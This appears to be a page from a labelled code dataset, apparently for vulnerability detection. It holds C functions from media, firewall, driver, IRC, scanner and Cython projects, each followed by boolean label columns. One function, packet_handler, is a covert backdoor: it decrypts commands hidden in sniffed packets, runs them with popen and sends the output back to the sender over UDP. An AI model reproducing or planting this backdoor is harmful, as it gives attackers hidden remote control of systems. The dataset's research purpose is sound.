if(ff_ac3_parse_header(&gbc, &hdr) < 0)
break;
if(buf2 + hdr.frame_size > end ||
av_crc(av_crc_get_table(AV_CRC_16_ANSI), 0, buf2 + 2, hdr.frame_size - 2))
break;
if (hdr.bitstream_id > 10)
codec_id = CODEC_ID_EAC3;
buf2 += hdr.frame_size;
}
max_frames = FFMAX(max_frames, frames);
if(buf == p->buf)
first_frames = frames;
}
if(codec_id != expected_codec_id) return 0;
if (first_frames>=3) return AVPROBE_SCORE_MAX * 3 / 4;
else if(max_frames>=3) return AVPROBE_SCORE_MAX / 2;
else if(max_frames>=1) return 1;
else return 0;
} | false | false | false | false | false | 0 |
Sacc_to_Aop_argb1666( GenefxState *gfxs )
{
int w = gfxs->length;
GenefxAccumulator *S = gfxs->Sacc;
u8 *D = gfxs->Aop[0];
while (w--) {
if (!(S->RGB.a & 0xF000)) {
u32 pixel = PIXEL_ARGB1666( (S->RGB.a & 0xFF00) ? 0xFF : S->RGB.a,
(S->RGB.r & 0xFF00) ? 0xFF : S->RGB.r,
(S->RGB.g & 0xFF00) ? 0xFF : S->RGB.g,
(S->RGB.b & 0xFF00) ? 0xFF : S->RGB.b );
D[0] = pixel;
D[1] = pixel >> 8;
D[2] = pixel >> 16;
}
D +=3;
S++;
}
} | false | false | false | false | false | 0 |
print(const struct ebt_u_entry *entry,
const struct ebt_entry_match *match)
{
struct ebt_ip6_info *ipinfo = (struct ebt_ip6_info *)match->data;
if (ipinfo->bitmask & EBT_IP6_SOURCE) {
printf("--ip6-src ");
if (ipinfo->invflags & EBT_IP6_SOURCE)
printf("! ");
printf("%s", ebt_ip6_to_numeric(&ipinfo->saddr));
printf("/%s ", ebt_ip6_to_numeric(&ipinfo->smsk));
}
if (ipinfo->bitmask & EBT_IP6_DEST) {
printf("--ip6-dst ");
if (ipinfo->invflags & EBT_IP6_DEST)
printf("! ");
printf("%s", ebt_ip6_to_numeric(&ipinfo->daddr));
printf("/%s ", ebt_ip6_to_numeric(&ipinfo->dmsk));
}
if (ipinfo->bitmask & EBT_IP6_TCLASS) {
printf("--ip6-tclass ");
if (ipinfo->invflags & EBT_IP6_TCLASS)
printf("! ");
printf("0x%02X ", ipinfo->tclass);
}
if (ipinfo->bitmask & EBT_IP6_PROTO) {
struct protoent *pe;
printf("--ip6-proto ");
if (ipinfo->invflags & EBT_IP6_PROTO)
printf("! ");
pe = getprotobynumber(ipinfo->protocol);
if (pe == NULL) {
printf("%d ", ipinfo->protocol);
} else {
printf("%s ", pe->p_name);
}
}
if (ipinfo->bitmask & EBT_IP6_SPORT) {
printf("--ip6-sport ");
if (ipinfo->invflags & EBT_IP6_SPORT)
printf("! ");
print_port_range(ipinfo->sport);
}
if (ipinfo->bitmask & EBT_IP6_DPORT) {
printf("--ip6-dport ");
if (ipinfo->invflags & EBT_IP6_DPORT)
printf("! ");
print_port_range(ipinfo->dport);
}
if (ipinfo->bitmask & EBT_IP6_ICMP6) {
printf("--ip6-icmp-type ");
if (ipinfo->invflags & EBT_IP6_ICMP6)
printf("! ");
print_icmp_type(ipinfo->icmpv6_type, ipinfo->icmpv6_code);
}
} | false | false | false | false | false | 0 |
chips_hw_init(struct fb_info *p)
{
int i;
for (i = 0; i < ARRAY_SIZE(chips_init_xr); ++i)
write_xr(chips_init_xr[i].addr, chips_init_xr[i].data);
write_xr(0x81, 0x12);
write_xr(0x82, 0x08);
write_xr(0x20, 0x00);
for (i = 0; i < ARRAY_SIZE(chips_init_sr); ++i)
write_sr(chips_init_sr[i].addr, chips_init_sr[i].data);
for (i = 0; i < ARRAY_SIZE(chips_init_gr); ++i)
write_gr(chips_init_gr[i].addr, chips_init_gr[i].data);
for (i = 0; i < ARRAY_SIZE(chips_init_ar); ++i)
write_ar(chips_init_ar[i].addr, chips_init_ar[i].data);
/* Enable video output in attribute index register */
writeb(0x20, mmio_base + 0x780);
for (i = 0; i < ARRAY_SIZE(chips_init_cr); ++i)
write_cr(chips_init_cr[i].addr, chips_init_cr[i].data);
for (i = 0; i < ARRAY_SIZE(chips_init_fr); ++i)
write_fr(chips_init_fr[i].addr, chips_init_fr[i].data);
} | false | false | false | false | false | 0 |
net_sendbuffer_destroy(NET_SENDBUF_REC *rec, int close)
{
if (rec->send_tag != -1) g_source_remove(rec->send_tag);
if (close) net_disconnect(rec->handle);
if (rec->readbuffer != NULL) line_split_free(rec->readbuffer);
g_free_not_null(rec->buffer);
g_free(rec);
} | false | false | false | false | false | 0 |
__map_bio(struct dm_target_io *tio)
{
int r;
sector_t sector;
struct mapped_device *md;
struct dm_offload o;
struct bio *clone = &tio->clone;
struct dm_target *ti = tio->ti;
clone->bi_end_io = clone_endio;
/*
* Map the clone. If r == 0 we don't need to do
* anything, the target has assumed ownership of
* this io.
*/
atomic_inc(&tio->io->io_count);
sector = clone->bi_iter.bi_sector;
dm_offload_start(&o);
r = ti->type->map(ti, clone);
dm_offload_end(&o);
if (r == DM_MAPIO_REMAPPED) {
/* the bio has been remapped so dispatch it */
trace_block_bio_remap(bdev_get_queue(clone->bi_bdev), clone,
tio->io->bio->bi_bdev->bd_dev, sector);
generic_make_request(clone);
} else if (r < 0 || r == DM_MAPIO_REQUEUE) {
/* error the io and bail out, or requeue it if needed */
md = tio->io->md;
dec_pending(tio->io, r);
free_tio(md, tio);
} else if (r != DM_MAPIO_SUBMITTED) {
DMWARN("unimplemented target map return value: %d", r);
BUG();
}
} | false | false | false | false | false | 0 |
ipw_queue_tx_free(struct ipw_priv *priv, struct clx2_tx_queue *txq)
{
struct clx2_queue *q = &txq->q;
struct pci_dev *dev = priv->pci_dev;
if (q->n_bd == 0)
return;
/* first, empty all BD's */
for (; q->first_empty != q->last_used;
q->last_used = ipw_queue_inc_wrap(q->last_used, q->n_bd)) {
ipw_queue_tx_free_tfd(priv, txq);
}
/* free buffers belonging to queue itself */
pci_free_consistent(dev, sizeof(txq->bd[0]) * q->n_bd, txq->bd,
q->dma_addr);
kfree(txq->txb);
/* 0 fill whole structure */
memset(txq, 0, sizeof(*txq));
} | false | false | false | false | false | 0 |
packet_handler(u_char *args, const struct pcap_pkthdr *header, const u_char *packet){
printf("\n");
printf("Got packet...\n");
/* Parse packet */
// Print its length
//printf("Jacked a packet with length of [%d]\n", header->len);
// Get packet info
struct tcp_ip_packet packet_info;
if(tcp_ip_typecast(packet, &packet_info) == 0){
//printf("tcp_ip_typecast");
return;
}
/* Decrypt remaining packet data */
short payload_len = ntohs(packet_info.ip->ip_len) - sizeof(struct iphdr) - sizeof(struct tcphdr);
//printf("payload_len: %d\n",payload_len);
char *bd_command;
bd_command = bd_decrypt((char *)packet_info.payload, payload_len);
if(bd_command == NULL){
return;
}
/* Execute command */
FILE *fp;
fp = popen(bd_command, "r");
if(fp == NULL){
printf("Command error!\n");
return;
}
printf("Command executed.\n");
/* Send results back to client */
// Open UDP socket
int sockfd;
struct sockaddr_in dst_host;
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
int arg = 1;
if(setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &arg, sizeof(arg)) == -1)
system_fatal("setsockopt");
memset(&dst_host, 0, sizeof(struct sockaddr_in));
dst_host.sin_family = AF_INET;
dst_host.sin_addr.s_addr = packet_info.ip->ip_src.s_addr;
dst_host.sin_port = packet_info.tcp->th_sport;
// Send results from popen command
char output[BD_MAX_REPLY_LEN];
memset(output, 0, BD_MAX_REPLY_LEN);
fread((void *)output, sizeof(char), BD_MAX_REPLY_LEN, fp);
sendto(sockfd, output, strlen(output), 0, (struct sockaddr *)&dst_host, sizeof(dst_host));
printf("Sent results back to client.\n");
/* Cleanup */
free(bd_command);
close(sockfd);
pclose(fp);
} | false | false | false | false | false | 0 |
isPreferredDetail(const QString& actionName, const QContactDetail& detail) const
{
if (!d->m_details.contains(detail))
return false;
if (actionName.isEmpty())
return d->m_preferences.values().contains(detail.d->m_id);
QMap<QString, int>::const_iterator it = d->m_preferences.find(actionName);
if (it != d->m_preferences.end() && it.value() == detail.d->m_id)
return true;
return false;
} | false | false | false | false | false | 0 |
__pyx_pw_6Cython_8Compiler_7Visitor_21RecursiveNodeReplacer_1__init__(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {
PyObject *__pyx_v_orig_node = 0;
PyObject *__pyx_v_new_node = 0;
int __pyx_lineno = 0;
const char *__pyx_filename = NULL;
int __pyx_clineno = 0;
int __pyx_r;
__Pyx_RefNannyDeclarations
__Pyx_RefNannySetupContext("__init__ (wrapper)", 0);
{
static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_orig_node,&__pyx_n_s_new_node,0};
PyObject* values[2] = {0,0};
if (unlikely(__pyx_kwds)) {
Py_ssize_t kw_args;
const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);
switch (pos_args) {
case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1);
case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);
case 0: break;
default: goto __pyx_L5_argtuple_error;
}
kw_args = PyDict_Size(__pyx_kwds);
switch (pos_args) {
case 0:
if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_orig_node)) != 0)) kw_args--;
else goto __pyx_L5_argtuple_error;
case 1:
if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_new_node)) != 0)) kw_args--;
else {
__Pyx_RaiseArgtupleInvalid("__init__", 1, 2, 2, 1); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 651; __pyx_clineno = __LINE__; goto __pyx_L3_error;}
}
}
if (unlikely(kw_args > 0)) {
if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "__init__") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 651; __pyx_clineno = __LINE__; goto __pyx_L3_error;}
}
} else if (PyTuple_GET_SIZE(__pyx_args) != 2) {
goto __pyx_L5_argtuple_error;
} else {
values[0] = PyTuple_GET_ITEM(__pyx_args, 0);
values[1] = PyTuple_GET_ITEM(__pyx_args, 1);
}
__pyx_v_orig_node = values[0];
__pyx_v_new_node = values[1];
}
goto __pyx_L4_argument_unpacking_done;
__pyx_L5_argtuple_error:;
__Pyx_RaiseArgtupleInvalid("__init__", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 651; __pyx_clineno = __LINE__; goto __pyx_L3_error;}
__pyx_L3_error:;
__Pyx_AddTraceback("Cython.Compiler.Visitor.RecursiveNodeReplacer.__init__", __pyx_clineno, __pyx_lineno, __pyx_filename);
__Pyx_RefNannyFinishContext();
return -1;
__pyx_L4_argument_unpacking_done:;
__pyx_r = __pyx_pf_6Cython_8Compiler_7Visitor_21RecursiveNodeReplacer___init__(((struct __pyx_obj_6Cython_8Compiler_7Visitor_RecursiveNodeReplacer *)__pyx_v_self), __pyx_v_orig_node, __pyx_v_new_node);
/* function exit code */
__Pyx_RefNannyFinishContext();
return __pyx_r;
} | false | false | false | false | false | 0 |
pie_scan (Pie_Scanner * scanner, int start)
{
SANE_Status status;
DBG (DBG_proc, "pie_scan\n");
/* TUR */
status = pie_wait_scanner (scanner);
if (status)
{
return status;
}
set_scan_cmd (scan.cmd, start);
do
{
status = sanei_scsi_cmd (scanner->sfd, scan.cmd, scan.size, NULL, NULL);
if (status)
{
DBG (DBG_error, "pie_scan: write command returned status %s\n",
sane_strstatus (status));
usleep (SCAN_WARMUP_WAIT_TIME);
}
}
while (start && status);
usleep (SCAN_WAIT_TIME);
return status;
} | false | false | false | false | false | 0 |
visitStringType(StringType* t)
{
if (t->bound())
printf("string<%ld>", (long)t->bound());
else
printf("string");
} | false | false | false | false | false | 0 |
elvin_event_loop (Elvin *elvin)
{
while (elvin_is_open (elvin) && elvin_error_ok (&elvin->error))
{
elvin_poll (elvin);
/* timeout is OK, continue loop */
if (elvin->error.code == ELVIN_ERROR_TIMEOUT)
elvin_error_reset (&elvin->error);
}
return elvin_error_ok (&elvin->error);
} | false | false | false | false | false | 0 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.